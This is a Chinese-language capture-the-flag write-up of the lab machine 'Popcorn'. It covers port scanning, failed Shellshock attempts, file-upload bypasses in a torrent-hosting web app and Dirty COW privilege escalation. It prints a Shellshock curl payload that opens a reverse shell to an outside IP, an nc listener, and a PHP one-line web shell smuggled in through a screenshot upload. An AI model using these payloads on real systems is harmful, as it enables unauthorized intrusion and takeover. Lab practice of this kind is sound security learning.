Popcorn(文件上传)

scan

1
2
3
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
PHP/5.2.10-2ubuntu6.10

web

先检查破壳漏洞,然后检查/test目录泄露的信息 1

1
2
3
4
5
6
7
8
9
10
11
12
13
获取的信息:
Server Administrator 
webmaster@localhost 

web路径:/etc/apache2
	/var/www/test.php 

服务:/var/run/mysqld/mysqld.sock 

http://10.10.10.6/test/index.php

http://10.10.10.6/torrent/database/
-- Database: `torrenthoster`

burp scanner扫描了一遍,发现了几个漏洞,好像不能利用 12

trying1: 低版本openssh

2

trying2: 破壳漏洞检查

CVE-2014-6271

1
2
3
4
searchsploit shellshock

PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Injection                         | exploits/php/webapps/35146.txt
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)                                               | exploits/cgi/webapps/34895.r

3 没有任何反应

trying3: 破壳漏洞检查2

http://10.10.10.6/test/

1
2
3
nc -lnvp 666

curl –H 'x: () { :;}; /bin/bash –i >& /dev/tcp/10.10.14.13/666 0>&1' http://10.10.10.6/test/

同样失败

trying4: 发现web目录

被漏洞扫描软件给坑了。不管有没有破壳漏洞,先扫描一下目录

4

5

exploit db上搜索一下Torrent Hoster。

Torrent Hoster Remont Upload Exploit

sql注入检测被网站黑名单发现 11

做信息搜集发现的信息:

1
MySQL db        http://10.10.10.6/torrent/comment

trying5: 准备上传

6 先随便上传一个txt,提示说明必须要是torrent文件,但是我们想要上传php类型webshell。

  1. 上传torrent文件,burp—send to repeater,得到文件类型等信息。 7

  2. 8 主面板获得上传的文件的路径。 http://10.10.10.6/torrent/torrents.php?mode=download&id=06aceda1226df400b0506aa813688f45309318a6

3. 9 尝试替换为php反弹脚本,提示不是有效的torrent文件。

查看msfvenom能否生成torrent类型的载荷。

msfvenom -l formats | grep torrent

5.尝试在上传torrent时,同时上传一句话木马。 10 生成了1.PNG.torrent

<?php @system($_POST[“cmd”])?>

6.尝试在修改screenshot,上传反弹木马 13 先注册账号,然后登陆。

随便上传一个torrent,然后点击edit the torrent。

14

替换图片内容为php-reverse-shell,名称后缀改为6.png.php

nc监听本地地址。

访问上传的路径: 15

上传php反弹webshell失败,权限不够。

  1. 和上一步差不多,上传一句话,而不是php反弹脚本 16

17

提权

uname -a

发现linux内核为2.6.x,于是dirty cow提权。 19

值得一提的是

1
2
3
./a.out

Please enter the new password: a

然后就卡了有将近一分钟吧,还以为提权执行失败了(,,)下回要耐心等待。

总结:

以后遇到这种情况,测试方法

  • 某cms,先查找以往漏洞。
  • 确定输入点,挨个测试一遍。(当时一直在测torrent上传,没想到漏洞在更改图片那里)
  • 上传漏洞需要找到上传的文件的路径。 一般要结合路径遍历漏洞。例如在这个cms,如果像下图一样,只是说明上传成功了,但是没有给出上传的地址(一般来说也没有必要)。

18